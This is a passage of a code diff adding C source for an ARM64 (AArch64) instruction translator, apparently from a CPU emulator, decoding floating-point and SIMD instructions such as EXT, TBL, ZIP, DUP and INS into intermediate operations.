extract32(opcode, 1, 1); + + if (type > 1 || (rmode != 0 && opcode > 1)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + handle_fpfpcvt(s, rd, rn, opcode, itof, rmode, 64, sf, type); + } +} + +/* FP-specific subcases of table C3-6 (SIMD and FP data processing) + * 31 30 29 28 25 24 0 + * +---+---+---+---------+-----------------------------+ + * | | 0 | | 1 1 1 1 | | + * +---+---+---+---------+-----------------------------+ + */ +static void disas_data_proc_fp(DisasContext *s, uint32_t insn) +{ + if (extract32(insn, 24, 1)) { + /* Floating point data-processing (3 source) */ + disas_fp_3src(s, insn); + } else if (extract32(insn, 21, 1) == 0) { + /* Floating point to fixed point conversions */ + disas_fp_fixed_conv(s, insn); + } else { + switch (extract32(insn, 10, 2)) { + case 1: + /* Floating point conditional compare */ + disas_fp_ccomp(s, insn); + break; + case 2: + /* Floating point data-processing (2 source) */ + disas_fp_2src(s, insn); + break; + case 3: + /* Floating point conditional select */ + disas_fp_csel(s, insn); + break; + case 0: + switch (ctz32(extract32(insn, 12, 4))) { + case 0: /* [15:12] == xxx1 */ + /* Floating point immediate */ + disas_fp_imm(s, insn); + break; + case 1: /* [15:12] == xx10 */ + /* Floating point compare */ + disas_fp_compare(s, insn); + break; + case 2: /* [15:12] == x100 */ + /* Floating point data-processing (1 source) */ + disas_fp_1src(s, insn); + break; + case 3: /* [15:12] == 1000 */ + unallocated_encoding(s); + break; + default: /* [15:12] == 0000 */ + /* Floating point <-> integer conversions */ + disas_fp_int_conv(s, insn); + break; + } + break; + } + } +} + +static void do_ext64(DisasContext *s, TCGv_i64 tcg_left, TCGv_i64 tcg_right, + int pos) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Extract 64 bits from the middle of two concatenated 64 bit + * vector register slices left:right. The extracted bits start + * at 'pos' bits into the right (least significant) side. + * We return the result in tcg_right, and guarantee not to + * trash tcg_left. + */ + TCGv_i64 tcg_tmp = tcg_temp_new_i64(tcg_ctx); + assert(pos > 0 && pos < 64); + + tcg_gen_shri_i64(tcg_ctx, tcg_right, tcg_right, pos); + tcg_gen_shli_i64(tcg_ctx, tcg_tmp, tcg_left, 64 - pos); + tcg_gen_or_i64(tcg_ctx, tcg_right, tcg_right, tcg_tmp); + + tcg_temp_free_i64(tcg_ctx, tcg_tmp); +} + +/* C3.6.1 EXT + * 31 30 29 24 23 22 21 20 16 15 14 11 10 9 5 4 0 + * +---+---+-------------+-----+---+------+---+------+---+------+------+ + * | 0 | Q | 1 0 1 1 1 0 | op2 | 0 | Rm | 0 | imm4 | 0 | Rn | Rd | + * +---+---+-------------+-----+---+------+---+------+---+------+------+ + */ +static void disas_simd_ext(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int is_q = extract32(insn, 30, 1); + int op2 = extract32(insn, 22, 2); + int imm4 = extract32(insn, 11, 4); + int rm = extract32(insn, 16, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + int pos = imm4 << 3; + TCGv_i64 tcg_resl, tcg_resh; + + if (op2 != 0 || (!is_q && extract32(imm4, 3, 1))) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + tcg_resh = tcg_temp_new_i64(tcg_ctx); + tcg_resl = tcg_temp_new_i64(tcg_ctx); + + /* Vd gets bits starting at pos bits into Vm:Vn. This is + * either extracting 128 bits from a 128:128 concatenation, or + * extracting 64 bits from a 64:64 concatenation. + */ + if (!is_q) { + read_vec_element(s, tcg_resl, rn, 0, MO_64); + if (pos != 0) { + read_vec_element(s, tcg_resh, rm, 0, MO_64); + do_ext64(s, tcg_resh, tcg_resl, pos); + } + tcg_gen_movi_i64(tcg_ctx, tcg_resh, 0); + } else { + TCGv_i64 tcg_hh; + typedef struct { + int reg; + int elt; + } EltPosns; + EltPosns eltposns[] = { {rn, 0}, {rn, 1}, {rm, 0}, {rm, 1} }; + EltPosns *elt = eltposns; + + if (pos >= 64) { + elt++; + pos -= 64; + } + + read_vec_element(s, tcg_resl, elt->reg, elt->elt, MO_64); + elt++; + read_vec_element(s, tcg_resh, elt->reg, elt->elt, MO_64); + elt++; + if (pos != 0) { + do_ext64(s, tcg_resh, tcg_resl, pos); + tcg_hh = tcg_temp_new_i64(tcg_ctx); + read_vec_element(s, tcg_hh, elt->reg, elt->elt, MO_64); + do_ext64(s, tcg_hh, tcg_resh, pos); + tcg_temp_free_i64(tcg_ctx, tcg_hh); + } + } + + write_vec_element(s, tcg_resl, rd, 0, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_resl); + write_vec_element(s, tcg_resh, rd, 1, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_resh); +} + +/* C3.6.2 TBL/TBX + * 31 30 29 24 23 22 21 20 16 15 14 13 12 11 10 9 5 4 0 + * +---+---+-------------+-----+---+------+---+-----+----+-----+------+------+ + * | 0 | Q | 0 0 1 1 1 0 | op2 | 0 | Rm | 0 | len | op | 0 0 | Rn | Rd | + * +---+---+-------------+-----+---+------+---+-----+----+-----+------+------+ + */ +static void disas_simd_tb(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int op2 = extract32(insn, 22, 2); + int is_q = extract32(insn, 30, 1); + int rm = extract32(insn, 16, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + int is_tblx = extract32(insn, 12, 1); + int len = extract32(insn, 13, 2); + TCGv_i64 tcg_resl, tcg_resh, tcg_idx; + TCGv_i32 tcg_regno, tcg_numregs; + + if (op2 != 0) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + /* This does a table lookup: for every byte element in the input + * we index into a table formed from up to four vector registers, + * and then the output is the result of the lookups. Our helper + * function does the lookup operation for a single 64 bit part of + * the input. + */ + tcg_resl = tcg_temp_new_i64(tcg_ctx); + tcg_resh = tcg_temp_new_i64(tcg_ctx); + + if (is_tblx) { + read_vec_element(s, tcg_resl, rd, 0, MO_64); + } else { + tcg_gen_movi_i64(tcg_ctx, tcg_resl, 0); + } + if (is_tblx && is_q) { + read_vec_element(s, tcg_resh, rd, 1, MO_64); + } else { + tcg_gen_movi_i64(tcg_ctx, tcg_resh, 0); + } + + tcg_idx = tcg_temp_new_i64(tcg_ctx); + tcg_regno = tcg_const_i32(tcg_ctx, rn); + tcg_numregs = tcg_const_i32(tcg_ctx, len + 1); + read_vec_element(s, tcg_idx, rm, 0, MO_64); + gen_helper_simd_tbl(tcg_ctx, tcg_resl, tcg_ctx->cpu_env, tcg_resl, tcg_idx, + tcg_regno, tcg_numregs); + if (is_q) { + read_vec_element(s, tcg_idx, rm, 1, MO_64); + gen_helper_simd_tbl(tcg_ctx, tcg_resh, tcg_ctx->cpu_env, tcg_resh, tcg_idx, + tcg_regno, tcg_numregs); + } + tcg_temp_free_i64(tcg_ctx, tcg_idx); + tcg_temp_free_i32(tcg_ctx, tcg_regno); + tcg_temp_free_i32(tcg_ctx, tcg_numregs); + + write_vec_element(s, tcg_resl, rd, 0, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_resl); + write_vec_element(s, tcg_resh, rd, 1, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_resh); +} + +/* C3.6.3 ZIP/UZP/TRN + * 31 30 29 24 23 22 21 20 16 15 14 12 11 10 9 5 4 0 + * +---+---+-------------+------+---+------+---+------------------+------+ + * | 0 | Q | 0 0 1 1 1 0 | size | 0 | Rm | 0 | opc | 1 0 | Rn | Rd | + * +---+---+-------------+------+---+------+---+------------------+------+ + */ +static void disas_simd_zip_trn(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int rm = extract32(insn, 16, 5); + int size = extract32(insn, 22, 2); + /* opc field bits [1:0] indicate ZIP/UZP/TRN; + * bit 2 indicates 1 vs 2 variant of the insn. + */ + int opcode = extract32(insn, 12, 2); + bool part = extract32(insn, 14, 1); + bool is_q = extract32(insn, 30, 1); + int esize = 8 << size; + int i, ofs; + int datasize = is_q ? 128 : 64; + int elements = datasize / esize; + TCGv_i64 tcg_res, tcg_resl, tcg_resh; + + if (opcode == 0 || (size == 3 && !is_q)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + tcg_resl = tcg_const_i64(tcg_ctx, 0); + tcg_resh = tcg_const_i64(tcg_ctx, 0); + tcg_res = tcg_temp_new_i64(tcg_ctx); + + for (i = 0; i < elements; i++) { + switch (opcode) { + case 1: /* UZP1/2 */ + { + int midpoint = elements / 2; + if (i < midpoint) { + read_vec_element(s, tcg_res, rn, 2 * i + part, size); + } else { + read_vec_element(s, tcg_res, rm, + 2 * (i - midpoint) + part, size); + } + break; + } + case 2: /* TRN1/2 */ + if (i & 1) { + read_vec_element(s, tcg_res, rm, (i & ~1) + part, size); + } else { + read_vec_element(s, tcg_res, rn, (i & ~1) + part, size); + } + break; + case 3: /* ZIP1/2 */ + { + int base = part * elements / 2; + if (i & 1) { + read_vec_element(s, tcg_res, rm, base + (i >> 1), size); + } else { + read_vec_element(s, tcg_res, rn, base + (i >> 1), size); + } + break; + } + default: + g_assert_not_reached(); + } + + ofs = i * esize; + if (ofs < 64) { + tcg_gen_shli_i64(tcg_ctx, tcg_res, tcg_res, ofs); + tcg_gen_or_i64(tcg_ctx, tcg_resl, tcg_resl, tcg_res); + } else { + tcg_gen_shli_i64(tcg_ctx, tcg_res, tcg_res, ofs - 64); + tcg_gen_or_i64(tcg_ctx, tcg_resh, tcg_resh, tcg_res); + } + } + + tcg_temp_free_i64(tcg_ctx, tcg_res); + + write_vec_element(s, tcg_resl, rd, 0, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_resl); + write_vec_element(s, tcg_resh, rd, 1, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_resh); +} + +static void do_minmaxop(DisasContext *s, TCGv_i32 tcg_elt1, TCGv_i32 tcg_elt2, + int opc, bool is_min, TCGv_ptr fpst) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Helper function for disas_simd_across_lanes: do a single precision + * min/max operation on the specified two inputs, + * and return the result in tcg_elt1. + */ + if (opc == 0xc) { + if (is_min) { + gen_helper_vfp_minnums(tcg_ctx, tcg_elt1, tcg_elt1, tcg_elt2, fpst); + } else { + gen_helper_vfp_maxnums(tcg_ctx, tcg_elt1, tcg_elt1, tcg_elt2, fpst); + } + } else { + assert(opc == 0xf); + if (is_min) { + gen_helper_vfp_mins(tcg_ctx, tcg_elt1, tcg_elt1, tcg_elt2, fpst); + } else { + gen_helper_vfp_maxs(tcg_ctx, tcg_elt1, tcg_elt1, tcg_elt2, fpst); + } + } +} + +/* C3.6.4 AdvSIMD across lanes + * 31 30 29 28 24 23 22 21 17 16 12 11 10 9 5 4 0 + * +---+---+---+-----------+------+-----------+--------+-----+------+------+ + * | 0 | Q | U | 0 1 1 1 0 | size | 1 1 0 0 0 | opcode | 1 0 | Rn | Rd | + * +---+---+---+-----------+------+-----------+--------+-----+------+------+ + */ +static void disas_simd_across_lanes(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 12, 5); + bool is_q = extract32(insn, 30, 1); + bool is_u = extract32(insn, 29, 1); + bool is_fp = false; + bool is_min = false; + int esize; + int elements; + int i; + TCGv_i64 tcg_res, tcg_elt; + + switch (opcode) { + case 0x1b: /* ADDV */ + if (is_u) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x3: /* SADDLV, UADDLV */ + case 0xa: /* SMAXV, UMAXV */ + case 0x1a: /* SMINV, UMINV */ + if (size == 3 || (size == 2 && !is_q)) { + unallocated_encoding(s); + return; + } + break; + case 0xc: /* FMAXNMV, FMINNMV */ + case 0xf: /* FMAXV, FMINV */ + if (!is_u || !is_q || extract32(size, 0, 1)) { + unallocated_encoding(s); + return; + } + /* Bit 1 of size field encodes min vs max, and actual size is always + * 32 bits: adjust the size variable so following code can rely on it + */ + is_min = extract32(size, 1, 1); + is_fp = true; + size = 2; + break; + default: + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + esize = 8 << size; + elements = (is_q ? 128 : 64) / esize; + + tcg_res = tcg_temp_new_i64(tcg_ctx); + tcg_elt = tcg_temp_new_i64(tcg_ctx); + + /* These instructions operate across all lanes of a vector + * to produce a single result. We can guarantee that a 64 + * bit intermediate is sufficient: + * + for [US]ADDLV the maximum element size is 32 bits, and + * the result type is 64 bits + * + for FMAX*V, FMIN*V, ADDV the intermediate type is the + * same as the element size, which is 32 bits at most + * For the integer operations we can choose to work at 64 + * or 32 bits and truncate at the end; for simplicity + * we use 64 bits always. The floating point + * ops do require 32 bit intermediates, though. + */ + if (!is_fp) { + read_vec_element(s, tcg_res, rn, 0, size | (is_u ? 0 : MO_SIGN)); + + for (i = 1; i < elements; i++) { + read_vec_element(s, tcg_elt, rn, i, size | (is_u ? 0 : MO_SIGN)); + + switch (opcode) { + case 0x03: /* SADDLV / UADDLV */ + case 0x1b: /* ADDV */ + tcg_gen_add_i64(tcg_ctx, tcg_res, tcg_res, tcg_elt); + break; + case 0x0a: /* SMAXV / UMAXV */ + tcg_gen_movcond_i64(tcg_ctx, is_u ? TCG_COND_GEU : TCG_COND_GE, + tcg_res, + tcg_res, tcg_elt, tcg_res, tcg_elt); + break; + case 0x1a: /* SMINV / UMINV */ + tcg_gen_movcond_i64(tcg_ctx, is_u ? TCG_COND_LEU : TCG_COND_LE, + tcg_res, + tcg_res, tcg_elt, tcg_res, tcg_elt); + break; + break; + default: + g_assert_not_reached(); + } + + } + } else { + /* Floating point ops which work on 32 bit (single) intermediates. + * Note that correct NaN propagation requires that we do these + * operations in exactly the order specified by the pseudocode. + */ + TCGv_i32 tcg_elt1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_elt2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_elt3 = tcg_temp_new_i32(tcg_ctx); + TCGv_ptr fpst = get_fpstatus_ptr(tcg_ctx); + + assert(esize == 32); + assert(elements == 4); + + read_vec_element(s, tcg_elt, rn, 0, MO_32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_elt1, tcg_elt); + read_vec_element(s, tcg_elt, rn, 1, MO_32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_elt2, tcg_elt); + + do_minmaxop(s, tcg_elt1, tcg_elt2, opcode, is_min, fpst); + + read_vec_element(s, tcg_elt, rn, 2, MO_32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_elt2, tcg_elt); + read_vec_element(s, tcg_elt, rn, 3, MO_32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_elt3, tcg_elt); + + do_minmaxop(s, tcg_elt2, tcg_elt3, opcode, is_min, fpst); + + do_minmaxop(s, tcg_elt1, tcg_elt2, opcode, is_min, fpst); + + tcg_gen_extu_i32_i64(tcg_ctx, tcg_res, tcg_elt1); + tcg_temp_free_i32(tcg_ctx, tcg_elt1); + tcg_temp_free_i32(tcg_ctx, tcg_elt2); + tcg_temp_free_i32(tcg_ctx, tcg_elt3); + tcg_temp_free_ptr(tcg_ctx, fpst); + } + + tcg_temp_free_i64(tcg_ctx, tcg_elt); + + /* Now truncate the result to the width required for the final output */ + if (opcode == 0x03) { + /* SADDLV, UADDLV: result is 2*esize */ + size++; + } + + switch (size) { + case 0: + tcg_gen_ext8u_i64(tcg_ctx, tcg_res, tcg_res); + break; + case 1: + tcg_gen_ext16u_i64(tcg_ctx, tcg_res, tcg_res); + break; + case 2: + tcg_gen_ext32u_i64(tcg_ctx, tcg_res, tcg_res); + break; + case 3: + break; + default: + g_assert_not_reached(); + } + + write_fp_dreg(s, rd, tcg_res); + tcg_temp_free_i64(tcg_ctx, tcg_res); +} + +/* C6.3.31 DUP (Element, Vector) + * + * 31 30 29 21 20 16 15 10 9 5 4 0 + * +---+---+-------------------+--------+-------------+------+------+ + * | 0 | Q | 0 0 1 1 1 0 0 0 0 | imm5 | 0 0 0 0 0 1 | Rn | Rd | + * +---+---+-------------------+--------+-------------+------+------+ + * + * size: encoded in imm5 (see ARM ARM LowestSetBit()) + */ +static void handle_simd_dupe(DisasContext *s, int is_q, int rd, int rn, + int imm5) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = ctz32(imm5); + int esize = 8 << (size & 0x1f); + int elements = (is_q ? 128 : 64) / esize; + int index, i; + TCGv_i64 tmp; + + if (size > 3 || (size == 3 && !is_q)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + index = imm5 >> (size + 1); + + tmp = tcg_temp_new_i64(tcg_ctx); + read_vec_element(s, tmp, rn, index, size); + + for (i = 0; i < elements; i++) { + write_vec_element(s, tmp, rd, i, size); + } + + if (!is_q) { + clear_vec_high(s, rd); + } + + tcg_temp_free_i64(tcg_ctx, tmp); +} + +/* C6.3.31 DUP (element, scalar) + * 31 21 20 16 15 10 9 5 4 0 + * +-----------------------+--------+-------------+------+------+ + * | 0 1 0 1 1 1 1 0 0 0 0 | imm5 | 0 0 0 0 0 1 | Rn | Rd | + * +-----------------------+--------+-------------+------+------+ + */ +static void handle_simd_dupes(DisasContext *s, int rd, int rn, + int imm5) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = ctz32(imm5); + int index; + TCGv_i64 tmp; + + if (size > 3) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + index = imm5 >> (size + 1); + + /* This instruction just extracts the specified element and + * zero-extends it into the bottom of the destination register. + */ + tmp = tcg_temp_new_i64(tcg_ctx); + read_vec_element(s, tmp, rn, index, size); + write_fp_dreg(s, rd, tmp); + tcg_temp_free_i64(tcg_ctx, tmp); +} + +/* C6.3.32 DUP (General) + * + * 31 30 29 21 20 16 15 10 9 5 4 0 + * +---+---+-------------------+--------+-------------+------+------+ + * | 0 | Q | 0 0 1 1 1 0 0 0 0 | imm5 | 0 0 0 0 1 1 | Rn | Rd | + * +---+---+-------------------+--------+-------------+------+------+ + * + * size: encoded in imm5 (see ARM ARM LowestSetBit()) + */ +static void handle_simd_dupg(DisasContext *s, int is_q, int rd, int rn, + int imm5) +{ + int size = ctz32(imm5); + int esize = 8 << (size & 0x1f); + int elements = (is_q ? 128 : 64)/esize; + int i = 0; + + if (size > 3 || ((size == 3) && !is_q)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + for (i = 0; i < elements; i++) { + write_vec_element(s, cpu_reg(s, rn), rd, i, size); + } + if (!is_q) { + clear_vec_high(s, rd); + } +} + +/* C6.3.150 INS (Element) + * + * 31 21 20 16 15 14 11 10 9 5 4 0 + * +-----------------------+--------+------------+---+------+------+ + * | 0 1 1 0 1 1 1 0 0 0 0 | imm5 | 0 | imm4 | 1 | Rn | Rd | + * +-----------------------+--------+------------+---+------+------+ + * + * size: encoded in imm5 (see ARM ARM LowestSetBit()) + * index: encoded in imm5<4:size+1> + */ +static void handle_simd_inse(DisasContext *s, int rd, int rn, + int imm4, int imm5) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = ctz32(imm5); + int src_index, dst_index; + TCGv_i64 tmp; + + if (size > 3) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + dst_index = extract32(imm5, 1+size, 5); + src_index = extract32(imm4, size, 4); + + tmp = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tmp, rn, src_index, size); + write_vec_element(s, tmp, rd, dst_index, size); + + tcg_temp_free_i64(tcg_ctx, tmp); +} + + +/* C6.3.151 INS (General) + * + * 31 21 20 16 15 10 9 5 4 0 + * +-----------------------+--------+-------------+------+------+ + * | 0 1 0 0 1 1 1 0 0 0 0 | imm5 | 0 0 0 1 1 1 | Rn | Rd | + * +-----------------------+--------+-------------+------+------+ + * + * size: encoded in imm5 (see ARM ARM LowestSetBit()) + * index: encoded in imm5<4:size+1> + */ +static void handle_simd_insg(DisasContext *s, int rd, int rn, int imm5) +{ + int size = ctz32(imm5); + int idx; + + if (size > 3) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + idx = extract32(imm5, 1 + size, 4 - size); + write_vec_element(s, cpu_reg(s, rn), rd, idx, size); +} + +/* + * C6.3.321 UMOV (General) + * C6.3.237 SMOV (General) + * + * 31 30 29 21 20 16 15 12 10 9 5 4 0 + * +---+---+-------------------+--------+-------------+------+------+ + * | 0 | Q | 0 0 1 1 1 0 0 0 0 | imm5 | 0 0 1 U 1 1 | Rn | Rd | + * +---+---+-------------------+--------+-------------+------+------+ + * + * U: unsigned when set + * size: encoded in imm5 (see ARM ARM LowestSetBit()) + */ +static void handle_simd_umov_smov(DisasContext *s, int is_q, int is_signed, + int rn, int rd, int imm5) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = ctz32(imm5); + int element; + TCGv_i64 tcg_rd; + + /* Check for UnallocatedEncodings */ + if (is_signed) { + if (size > 2 || (size == 2 && !is_q)) { + unallocated_encoding(s); + return; + } + } else { + if (size > 3 + || (size < 3 && is_q) + || (size == 3 && !is_q)) { + unallocated_encoding(s); + return; + } + } + + if (!fp_access_check(s)) { + return; + } + + element = extract32(imm5, 1+size, 4); + + tcg_rd = cpu_reg(s, rd); + read_vec_element(s, tcg_rd, rn, element, size | (is_signed ? MO_SIGN : 0)); + if (is_signed && !is_q) { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } +} + +/* C3.6.5 AdvSIMD copy + * 31 30 29 28 21 20 16 15 14 11 10 9 5 4 0 + * +---+---+----+-----------------+------+---+------+---+------+------+ + * | 0 | Q | op | 0 1 1 1 0 0 0 0 | imm5 | 0 | imm4 | 1 | Rn | Rd | + * +---+---+----+-----------------+------+---+------+---+------+------+ + */ +static void disas_simd_copy(DisasContext *s, uint32_t insn) +{ + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int imm4 = extract32(insn, 11, 4); + int op = extract32(insn, 29, 1); + int is_q = extract32(insn, 30, 1); + int imm5 = extract32(insn, 16, 5); + + if (op) { + if (is_q) { + /* INS (element) */ + handle_simd_inse(s, rd, rn, imm4, imm5); + } else { + unallocated_encoding(s); + } + } else { + switch (imm4) { + case 0: + /* DUP (element - vector) */ + handle_simd_dupe(s, is_q, rd, rn, imm5); + break; + case 1: + /* DUP (general) */ + handle_simd_dupg(s, is_q, rd, rn, imm5); + break; + case 3: + if (is_q) { + /* INS (general) */ + handle_simd_insg(s, rd, rn, imm5); + } else { + unallocated_encoding(s); + } + break; + case 5: + case 7: + /* UMOV/SMOV (is_q indicates 32/64; imm4 indicates signedness) */ + handle_simd_umov_smov(s, is_q, (imm4 == 5), rn, rd, imm5); + break; + default: + unallocated_encoding(s); + break; + } + } +} + +/* C3.6.6 AdvSIMD modified immediate + * 31 30 29 28 19 18 16 15 12 11 10 9 5 4 0 + * +---+---+----+---------------------+-----+-------+----+---+-------+------+ + * | 0 | Q | op | 0 1 1 1 1 0 0 0 0 0 | abc | cmode | o2 | 1 | defgh | Rd | + * +---+---+----+---------------------+-----+-------+----+---+-------+------+ + * + * There are a number of operations that can be carried out here: + * MOVI - move (shifted) imm into register + * MVNI - move inverted (shifted) imm into register + * ORR - bitwise OR of (shifted) imm with register + * BIC - bitwise clear of (shifted) imm with register + */ +static void disas_simd_mod_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int cmode = extract32(insn, 12, 4); + int cmode_3_1 = extract32(cmode, 1, 3); + int cmode_0 = extract32(cmode, 0, 1); + int o2 = extract32(insn, 11, 1); + uint64_t abcdefgh = extract32(insn, 5, 5) | (extract32(insn, 16, 3) << 5); + bool is_neg = extract32(insn, 29, 1); + bool is_q = extract32(insn, 30, 1); + uint64_t imm = 0; + TCGv_i64 tcg_rd, tcg_imm; + int i; + + if (o2 != 0 || ((cmode == 0xf) && is_neg && !is_q)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + /* See AdvSIMDExpandImm() in ARM ARM */ + switch (cmode_3_1) { + case 0: /* Replicate(Zeros(24):imm8, 2) */ + case 1: /* Replicate(Zeros(16):imm8:Zeros(8), 2) */ + case 2: /* Replicate(Zeros(8):imm8:Zeros(16), 2) */ + case 3: /* Replicate(imm8:Zeros(24), 2) */ + { + int shift = cmode_3_1 * 8; + imm = bitfield_replicate(abcdefgh << shift, 32); + break; + } + case 4: /* Replicate(Zeros(8):imm8, 4) */ + case 5: /* Replicate(imm8:Zeros(8), 4) */ + { + int shift = (cmode_3_1 & 0x1) * 8; + imm = bitfield_replicate(abcdefgh << shift, 16); + break; + } + case 6: + if (cmode_0) { + /* Replicate(Zeros(8):imm8:Ones(16), 2) */ + imm = (abcdefgh << 16) | 0xffff; + } else { + /* Replicate(Zeros(16):imm8:Ones(8), 2) */ + imm = (abcdefgh << 8) | 0xff; + } + imm = bitfield_replicate(imm, 32); + break; + case 7: + if (!cmode_0 && !is_neg) { + imm = bitfield_replicate(abcdefgh, 8); + } else if (!cmode_0 && is_neg) { + int i; + imm = 0; + for (i = 0; i < 8; i++) { + if ((abcdefgh) & (1ULL << i)) { + imm |= 0xffULL << (i * 8); + } + } + } else if (cmode_0) { + if (is_neg) { + imm = (abcdefgh & 0x3f) << 48; + if (abcdefgh & 0x80) { + imm |= 0x8000000000000000ULL; + } + if (abcdefgh & 0x40) { + imm |= 0x3fc0000000000000ULL; + } else { + imm |= 0x4000000000000000ULL; + } + } else { + imm = (abcdefgh & 0x3f) << 19; + if (abcdefgh & 0x80) { + imm |= 0x80000000; + } + if (abcdefgh & 0x40) { + imm |= 0x3e000000; + } else { + imm |= 0x40000000; + } + imm |= (imm << 32); + } + } + break; + } + + if (cmode_3_1 != 7 && is_neg) { + imm = ~imm; + } + + tcg_imm = tcg_const_i64(tcg_ctx, imm); + tcg_rd = new_tmp_a64(s); + + for (i = 0; i < 2; i++) { + int foffs = i ? fp_reg_hi_offset(s, rd) : fp_reg_offset(s, rd, MO_64); + + if (i == 1 && !is_q) { + /* non-quad ops clear high half of vector */ + tcg_gen_movi_i64(tcg_ctx, tcg_rd, 0); + } else if ((cmode & 0x9) == 0x1 || (cmode & 0xd) == 0x9) { + tcg_gen_ld_i64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, foffs); + if (is_neg) { + /* AND (BIC) */ + tcg_gen_and_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_imm); + } else { + /* ORR */ + tcg_gen_or_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_imm); + } + } else { + /* MOVI */ + tcg_gen_mov_i64(tcg_ctx, tcg_rd, tcg_imm); + } + tcg_gen_st_i64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, foffs); + } + + tcg_temp_free_i64(tcg_ctx, tcg_imm); +} + +/* C3.6.7 AdvSIMD scalar copy + * 31 30 29 28 21 20 16 15 14 11 10 9 5 4 0 + * +-----+----+-----------------+------+---+------+---+------+------+ + * | 0 1 | op | 1 1 1 1 0 0 0 0 | imm5 | 0 | imm4 | 1 | Rn | Rd | + * +-----+----+-----------------+------+---+------+---+------+------+ + */ +static void disas_simd_scalar_copy(DisasContext *s, uint32_t insn) +{ + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int imm4 = extract32(insn, 11, 4); + int imm5 = extract32(insn, 16, 5); + int op = extract32(insn, 29, 1); + + if (op != 0 || imm4 != 0) { + unallocated_encoding(s); + return; + } + + /* DUP (element, scalar) */ + handle_simd_dupes(s, rd, rn, imm5); +} + +/* C3.6.8 AdvSIMD scalar pairwise + * 31 30 29 28 24 23 22 21 17 16 12 11 10 9 5 4 0 + * +-----+---+-----------+------+-----------+--------+-----+------+------+ + * | 0 1 | U | 1 1 1 1 0 | size | 1 1 0 0 0 | opcode | 1 0 | Rn | Rd | + * +-----+---+-----------+------+-----------+--------+-----+------+------+ + */ +static void disas_simd_scalar_pairwise(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int u = extract32(insn, 29, 1); + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 12, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + TCGv_ptr fpst; + + /* For some ops (the FP ones), size[1] is part of the encoding. + * For ADDP strictly it is not but size[1] is always 1 for valid + * encodings. + */ + opcode |= (extract32(size, 1, 1) << 5); + + switch (opcode) { + case 0x3b: /* ADDP */ + if (u || size != 3) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + + TCGV_UNUSED_PTR(fpst); + break; + case 0xc: /* FMAXNMP */ + case 0xd: /* FADDP */ + case 0xf: /* FMAXP */ + case 0x2c: /* FMINNMP */ + case 0x2f: /* FMINP */ + /* FP op, size[0] is 32 or 64 bit */ + if (!u) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + + size = extract32(size, 0, 1) ? 3 : 2; + fpst = get_fpstatus_ptr(tcg_ctx); + break; + default: + unallocated_encoding(s); + return; + } + + if (size == 3) { + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op1, rn, 0, MO_64); + read_vec_element(s, tcg_op2, rn, 1, MO_64); + + switch (opcode) { + case 0x3b: /* ADDP 